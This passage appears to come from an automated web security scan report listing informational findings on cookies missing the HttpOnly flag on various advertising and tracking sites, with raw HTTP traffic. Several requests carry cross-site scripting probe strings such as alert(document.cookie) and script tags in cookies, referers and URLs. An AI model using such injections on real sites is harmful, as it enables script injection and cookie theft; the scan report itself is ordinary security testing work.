04-Aug-2011 22:35:31 GMT; Path=/
Location: http://www.googleadservices.com/pagead/conversion/1030881291/?label=Ad-QCIPSuQEQi4DI6wM&guid=ON&script=0
Content-Length: 0
Date: Sat, 05 Feb 2011 22:35:30 GMT

15.275. http://imp.constantcontact.com/imp/cmp.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://imp.constantcontact.com
Path:	/imp/cmp.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

impcc="IMP_14302119028236362=21615745|"; expires=Fri, 06-May-2011 22:25:47 GMT; path=/; domain=.constantcontact.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.276. http://imp.constantcontact.com/imp/cmp.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://imp.constantcontact.com
Path:	/imp/cmp.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerProdImpression=2336625674.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /imp/cmp.jsp HTTP/1.1
Host: imp.constantcontact.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cclp_nsearch="ns_01_ts=21608463|ns_01=goog::b7706-alert(document.cookie)-40dab7f5b0f|"; __utmz=152702054.1296507889.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/4|utmcmd=referral; cclp_partner="prt_02=partner.name::ROVING|prt_01=partner.name::NATSEARCH|prt_01_ts=21608463|prt_02_ts=21608566|"; cclp_cc="cc_01_ts=21608463|cc_02_ts=21584010|cc_03_ts=21604387|cc_03=impcc::IMP_14302119028289011|cc_02=impcc::IMP_14302119028231881|cc_01=cc::googb7706-alert(document.cookie)-40dab7f5b0f|"; impcc="IMP_14302119028236362=21615713|"; cclp_referral="partner=NATSEARCH|impcc=IMP_14302119028289011|cc=IMP_14302119028289011|sitereferrer=http://blogs.constantcontact.com/commentary?fd5af%22%3E%3Cscript%3Ealert(1)%3C/script%3E776bfc826f5=1|partner.name=ROVING|pn=ROVING|"; mbox=PC#1296507860629-664024.17#1304290028|check#true#1296514088|session#1296514003373-10289#1296515888; cclp_split="sc_01=201010_BL10867_LeadN::Control experience|sc_01_ts=21608566|"; offer_temp=""; s_vi=[CS]v1|26A391E7851D22E2-6000012E00000902[CE]; CPl200502=888%7C888%7C888%7CNULL%7Cundefined%7Chttp%253A%252F%252Fburp%252Fshow%252F4%7C%252Findex%252Ejsp; __utma=152702054.1587922762.1296507889.1296507889.1296507889.1; ctctblog=1%3A%3A21608566; cclp_content="lp_uid=20110131_16:03:36.930_3E7AC43C835249A7CF0A0478AC67E07D.worker_landingPages|";

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Wed, 15 Dec 2010 20:41:48 GMT
ETag: "2000fe-13f-49778f7511b00"
Accept-Ranges: bytes
Content-Length: 319
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 22:51:03 GMT
Connection: close
Set-Cookie: BIGipServerProdImpression=2336625674.20480.0000; path=/
Set-Cookie: impcc=; expires=Fri, 06-May-2011 22:51:03 GMT; path=/; domain=.constantcontact.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Constant Conta
...[SNIP]...

15.277. http://info.riministreet.com/50percentsavings.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://info.riministreet.com
Path:	/50percentsavings.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ARPT=LKZYVMSCw1CYWY; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /50percentsavings.html HTTP/1.1
Host: info.riministreet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.278. http://lct.salesforce.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lct.salesforce.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerlct-pool=70574602.38687.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: lct.salesforce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.279. https://lct.salesforce.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://lct.salesforce.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerlct-pool=87351818.38687.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: lct.salesforce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.280. http://leadback.advertising.com/adcedge/lb previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://leadback.advertising.com
Path:	/adcedge/lb

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

C2=3+cTNJpwIg02F9BCdbdRfgwUwX0HI8Y4F9BCYTeRfgQ3gZ0HIQTnG9BCF2pRfgAohX0HIYZ4F9BCKGeRfgwohX0HIca4F9BCiGeRfgQshX0HRC5BkDdhGL7YAwAoG11r1JQcKa0QGKWAI9Yx8N53CkL3FQ0gPPw6TVAasuGB/0mh1ca7FIaWGKRrMWw41Z8HkqVB6bjhfq6bBwWZG17r4bQsMaoOwanBW8oh60I9GsfzFwzsNaQQoawXs2jB1xmxx6KzHUyhGwsp4jgaVZUWySHAlBqRT4KVIYGgGlVs+AA8Ua0EyOHAhBqRTI7dAEHoGNErvgwNsZAc; domain=advertising.com; expires=Mon, 04-Feb-2013 22:31:19 GMT; path=/
GUID=MTI5Njk0NTA3OTsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; domain=advertising.com; expires=Mon, 04-Feb-2013 22:31:19 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.281. http://load.exelator.com/load/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://load.exelator.com
Path:	/load/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

xltl=eJxLtDKyqi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNwOqslHyCnJWsM60MTSzNDQ1MTK1rASUAFEE%253D; expires=Sun, 05-Jun-2011 22:25:32 GMT; path=/; domain=.exelator.com
myPAL=eJylkstOw0AMRf%252Bls52F7Xl4Jl0FIqRKJIISULcsu2YJ%252FDv2TB4tqgqCVV7nnnhsvzbIzfuxge1bQ9xs0Mdscs5oELyBCGaUm17e0GZ7bFCxqBiHCWMwACgYw0zRIluoSzInmC%252ByFAyl4DhbB8QSIh%252BKtb0Z7W54sfv%252BYG%252Fve9t2B0365QeJr%252FwgrFg6wVLFxhmLgmE6xQjA%252BBSNfuWLEoQqeZ4lSbEqmRvITs5A5onAS90fgMpl4WLR5dIbbzMxBLQEBEEfHMZ6kTa42oaulbN3j8Nou91wZ7Ur0o0yEB1cjH%252FyqWpu7tRYxP%252Fp2odBVVLhvuh0Ezx%252B010zlFRZDLem8DxVazkfecnpWrj0U06HG5DKcDGsEf5lJK7VXYmUJZmqk1N9fgFco7yt; expires=Wed, 06-Apr-2011 22:25:32 GMT; path=/; domain=.exelator.com
BFF=eJztlM1OwzAQhN8lT%252BCfOI7dS1OqikhNgNat4IR65MwR%252Bu6s3SRdu2uJoB65fjMeO%252FF6TrYU9uvTcmYLx1nZLY0xolh8WF7WegGCtEX31LvH7dv7sd23rlicrKpzayoDa9TAEYq8EgnGc81QhFaAywtGxCc0K7cUtZLaDCf0ggwcgdEpmdBaJULbH8kI4ISTjNh1r2QEcMLJ4Xu1IAQy%252B2HbkdnACScZ0ayJbBk4dorxQqLtdCRFMRpdo8NjUl%252Bv3CE0xiRXFkvRDjXa4ZDZ4ZDzSiyAeS9YCZ%252F8zbhXq0EdZ%252FGqYkFMQrpGTwqCMLvrZhtGurxgM8yux4h440vvKCPgxNj2G8oIGJFxxo3QTPE4IbwSJpiKcRitBI9zTsWEl0L4%252FexS%252FvAs8n7Jq5yQHNT%252Ffiqoee5vN5aBJwFgJAPW9Mmb1e7GH1plhwP49GDS6EHZRIq%252BzuxmQme6CbXKN2G29%252BbX3PxWo0osur%252Ffl9j8zrpzRd25j%252F5aPvmOydRJpjwyVfFfDPftgfnP%252FvwDMTU0HA%253D%253D; expires=Sun, 05-Jun-2011 22:25:32 GMT; path=/; domain=.exelator.com
TFF=eJydlktywyAMhu%252BSE0gILCAbH6PbLLLoTHftLpO7lyQ2uBI4chceGOb%252F0MOS7EsOkG%252FfGV0%252BIfgZJphTSu50vmSXb58Zz%252BXxKZQFntspne9Kjw89Cb0rj%252BS4YjairOCFkhdl1HdfP65fl5%252BrvHslCHthMMwA2AubmzNlq%252FUybF6DQMFxxWxEWRmMdz98cj6MYogthvjS%252B6Z3MRAn4VPUljSJKRG7%252F5AEjjlYSa6gjShnPli9Wos4dos%252BtgIrW61XHkVtJ26LPsqiHxLPdwow%252BzjtW3La1MIZkXIIMGgXnAYJQDiWsEV%252FNGEFO5IwZCp14rqepaZPHb3yLGk7dX69MBvxaGQy3v1sEtpprzojfSVTGwFUR4A3cxuLyTGE4RwnSVIjHTiQ%252FTwG%252F5oklIVqdZZwaFOSXEEbUc4oHPCqfgh348F35DAeRVIjd5OvwGWsBOxWfW38bupXrhukmVS%252BDklqZDfIEciVM5tax9Tg54ebnjv6YRpRcn7D7abxLTnMhiKpkbtplCBXzkbcfwGeWpTs; expires=Sun, 05-Jun-2011 22:25:32 GMT; path=/; domain=.exelator.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.282. http://map.media6degrees.com/orbserv/hbpix previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://map.media6degrees.com
Path:	/orbserv/hbpix

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

acs=015020a0e0f0g1lebnnsxzt11udrfxzt11txepxzt11txepxzt11udrf; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
clid=2lebnns011706ch47d7o8wtv1udrf01010030608207; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
rdrlst=41507dpletz4d0000000w10030o2ylebnns0000001010030mmnlebnns00000010100310e5lg1nei00000006100310rdlg1vir0000000510030xo1lebnns0000001010030x1blebnns0000001010030eh5lf17qf0000000s100306bylemlne0000000y10030w3clebnns00000010100307gmlebnns0000001010030jv6lebnns0000001010030j4ilew2e20000000u10030xthlebnns0000001010030fullf8gij0000000o100310f6lg1nei0000000610031196lfzx0l00000007100300c9lfk1rn0000000l10030jillebnns0000001010031194lg3y5y0000000410030fuqlegh2b0000000z10030b6mlf17qk0000000r10030mz1lebnns0000001010030cajlfk1rn0000000l10030p7vlebnns00000010100307vglfk1rn0000000l10031192lg5l2h0000000310030xvslebnns00000010100310ellg1nei0000000610030xuklebnns0000001010030x1jlebnns0000001010030jk7lebnns0000001010030cbnlfk1rn0000000l10030yiplebnns00000010100310telg61f70000000110010yh0lebnns0000001010030xwflebnns0000001010030e4vlebnns00000010100310e9lg1nei0000000610030jwblfk1rn0000000l10030xwblebnns000000101003; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
sglst=2140s8dtletz4d0pqa500a0l000400100a70lebnns181qq00e0l00040010061gletz4d0pqa500a0l0004001005b0lf17qo0000000q10030608207ag2leqh191fkdy00x1003060820782gletz4d0pqa500a0l0004001009zdlebnns181qq00e0l00040010082hlebnns1udrf00z100006002005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0mc0p00m10030608207820lebnns181qq00e0l000400100b0olfjpei0mc0p00m10030608207ab4lebnns1udrf010100306082079szlebnns1udrf010100306082078wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pkcw00z10030608207al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l0004001005q8lebnns1udrf00k100006002007y2lebnns181qq00e0l0004001008bgletz4d0pqa500a0l000400100b0clfjpei0mc0p00m10030608207b08lfjpei0mc0p00m1003060820740slebnns181qq00e0l00040010045mlfdxmc0000000n10030608207a97lebnns181qq00e0l000400100ah4lebnns181qq00e0l0004001003s4letz4d0pqa500a0l00040010040uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns1udrf00f100106012019atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
vstcnt=3lebnns030r034nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l3ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z4jaec12011udrf1l034e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4fhux122u000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru000000000000000000000000000000000004esx7120104tej1o018EstvP2qn112s1o9ct1oa791oa5w1oa8b1oa601oa8j1oa6z1oa871oa6u1oa8f1oa7b1oa7l1oa6x1oa8l1oa6m1oa7i1oa8h1oa6h1oa8e1oa5z1oa8s1oa7n1oa6e1oa7k1oa741oa5r1oa7h1oa5l1oa5k1oa611oa7w1oa8g1oa911oa7o1oa5m1oa6l1oa681oa8c1oa5h1oa831oa8o1oa8n1oa7f1oa6f1oa7x1oa721oa771oa701oa7j1oa7a1oa801oa7g1oa6n1oa761oa5t1oa8i1oa841oa8t1oa8m1oa7y1oa921oa5i1oa6y1oa931oa821oa7u1oa941oa8d1oa631oa6t1oa651oa7d1oa8v1oa6j1oa891oa6w1oa5j1oa881oa7t1oa6v1oa7s1oa8z1oa8p1oa811oa6o1oa8u1oa691oa731oa5q1oa6g1oa8q1oa7e1oa5y1oa751oa5s1oa641oa7v1oa781oa5v1oa6k; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.283. http://messenger.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://messenger.yahoo.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

B=cavfg3t6krlge&b=3&s=da; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: messenger.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.284. http://metrics.blackberry.com/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrics.blackberry.com
Path:	/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s_vi=[CS]v1|26A75175051D128B-40000130C01FD049[CE]; Expires=Fri, 5 Feb 2016 13:32:26 GMT; Domain=.blackberry.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.285. http://metrixlablw.customers.luna.net/p10833/tagger_v03.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrixlablw.customers.luna.net
Path:	/p10833/tagger_v03.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_=__02_06_17_00%7C; expires=Fri, 05-Aug-2011 16:00:12 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /p10833/tagger_v03.php HTTP/1.1
Host: metrixlablw.customers.luna.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: p10833_1a=%5Bsid%3D1922091%7Ccid%3D4164202%7C%5D__01_09_22_57%7C%5Bsid%3D1891435%7Ccid%3D4189023%7C%5D__01_28_18_36%7C%5Bsid%3D267859374%7Ccid%3D193167493%7C%5D__02_06_14_21%7C;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:00:12 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.7
P3P: CP="NOI DSP COR NID"; policyref="http://metrixlab.luna.nl/w3c/p3policy.xml";
Expires: Sun, 06 Feb 2011 17:00:12GMT
Set-Cookie: _=__02_06_17_00%7C; expires=Fri, 05-Aug-2011 16:00:12 GMT; path=/
Vary: Accept-Encoding
Content-Length: 265
Connection: close
Content-Type: text/html

/* <![CDATA[ */
var google_conversion_id = 1007595065;
var google_conversion_language = "en";
var google_conversion_format = "3";
var google_conversion_color = "666666";
var google_conversion_label =
...[SNIP]...

15.286. http://metrixlablw.customers.luna.net/p10833/tagger_v03.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrixlablw.customers.luna.net
Path:	/p10833/tagger_v03.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

p10833_1a=%5Bsid%3D1922091%7Ccid%3D4164202%7C%5D__01_09_22_57%7C%5Bsid%3D1891435%7Ccid%3D4189023%7C%5D__01_28_18_36%7C%5Bsid%3D267859374%7Ccid%3D193167493%7C%5D__02_06_14_21%7C; expires=Fri, 05-Aug-2011 13:21:19 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /p10833/tagger_v03.php?project=p10833&tag=1a&channel=[sid=267859374|cid=193167493|] HTTP/1.1
Host: metrixlablw.customers.luna.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p10833_1a=%5Bsid%3D1922091%7Ccid%3D4164202%7C%5D__01_09_22_57%7C%5Bsid%3D1891435%7Ccid%3D4189023%7C%5D__01_28_18_36%7C

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:19 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.7
P3P: CP="NOI DSP COR NID"; policyref="http://metrixlab.luna.nl/w3c/p3policy.xml";
Expires: Sun, 06 Feb 2011 14:21:19GMT
Set-Cookie: p10833_1a=%5Bsid%3D1922091%7Ccid%3D4164202%7C%5D__01_09_22_57%7C%5Bsid%3D1891435%7Ccid%3D4189023%7C%5D__01_28_18_36%7C%5Bsid%3D267859374%7Ccid%3D193167493%7C%5D__02_06_14_21%7C; expires=Fri, 05-Aug-2011 13:21:19 GMT; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 265

/* <![CDATA[ */
var google_conversion_id = 1007595065;
var google_conversion_language = "en";
var google_conversion_format = "3";
var google_conversion_color = "666666";
var google_conversion_label =
...[SNIP]...

15.287. http://mittelstandsblog.de.intellitxt.com/intellitxt/front.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mittelstandsblog.de.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wkAAAEt+/O1yQA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:10:09 GMT; Path=/
VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wkAAAEt+/O1yQA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:10:09 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wkAAAEt+/O1yQA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:10:09 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wkAAAEt+/O1yQA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:10:09 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sun, 06 Feb 2011 17:10:08 GMT
Connection: close
Content-Length: 10810

document.itxtDisabled=1;
function itxtokeydoke(){try{var b=document.getElementByTagName('BODY')[0];if(document.all){if(b.innerText.indexOf('Cx26A')>=0)return 1;}else{if(b.textContent.indexOf('Cx26A')>
...[SNIP]...

15.288. http://mittwiki.ivwbox.de/blank.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mittwiki.ivwbox.de
Path:	/blank.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

srp=018e4d4ed5d4d2ca0006; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /blank.gif HTTP/1.1
Host: mittwiki.ivwbox.de
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: srp=018e4d4ed5d4d2ca0006

Response

HTTP/1.0 200 OK
Server: srp/2ac
Date: Sun, 06 Feb 2011 17:09:40 GMT
Last-Modified: Tue, 22 Aug 2000 15:05:01 GMT
P3P: policyref="http://www.ivwbox.de/p3p.xml", CP="NOI DSP PSAo OUR NOR UNI"
Set-Cookie: srp=018e4d4ed5d4d2ca0006; path=/
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

15.289. http://mittwiki.ivwbox.de/cgi-bin/ivw/CP/blog previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mittwiki.ivwbox.de
Path:	/cgi-bin/ivw/CP/blog

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

srp=018e4d4edda90b8f0006; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cgi-bin/ivw/CP/blog;j4b?r=http%3A//burp/show/94&d=35449.30305797607 HTTP/1.1
Host: mittwiki.ivwbox.de
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 302 FOUND
Server: srp/2ac
Date: Sun, 06 Feb 2011 17:43:05 GMT
Last-Modified: Tue, 22 Aug 2000 15:05:01 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Expires: 0
P3P: policyref="http://www.ivwbox.de/p3p.xml", CP="NOI DSP PSAo OUR NOR UNI"
Set-Cookie: srp=018e4d4edda90b8f0006; path=/
Location: /blank.gif
Content-Type: text/plain

15.290. http://mm.chitika.net/minimall previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/minimall

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_cc=G/SkJTIFoxB5zyrGvNoopUmJl2rsItRDWa+mMYtlFsMkqNkYLjf2S50TROQG59rAL1bd9/fru8qt59wzOMjm3zNoYwE3YNuGFh9r5pQyYF8IBuWtKzzuHg0EDf/OXTGwN4F0yzBRSsFrNaxBTurQk405PQiw6OztUAy+wVNGctUh2bI4o+E9Ip02zo1FpoGCl03GPW8YYrbsxuJG3RP/FXHhECqNMLZ3FujUPMYSQS4kC+I6tXLqBlwHa+Y8F+vNGqcNkAxZpUSMvHEO8khCYplFBx+Y+YbrxuGvKbBA4tZ0bqBN4lQhUBzx8YBlP2FsPJrbVK6NMroVMNC22xzJ0lAih4JSqLegFemViNUjn5mzE3l3Blj4eWfvwLcr4gqAZw5ywM/1YurC6/+iOUtyrecQGPVej55Oz02Rg41Zv724GqbA.1tBPbIb2KArc06KV27bEdA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 22:26:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&ref=http%3A//burp/show/1&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=428&loc=205,1872&output=simplejs&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
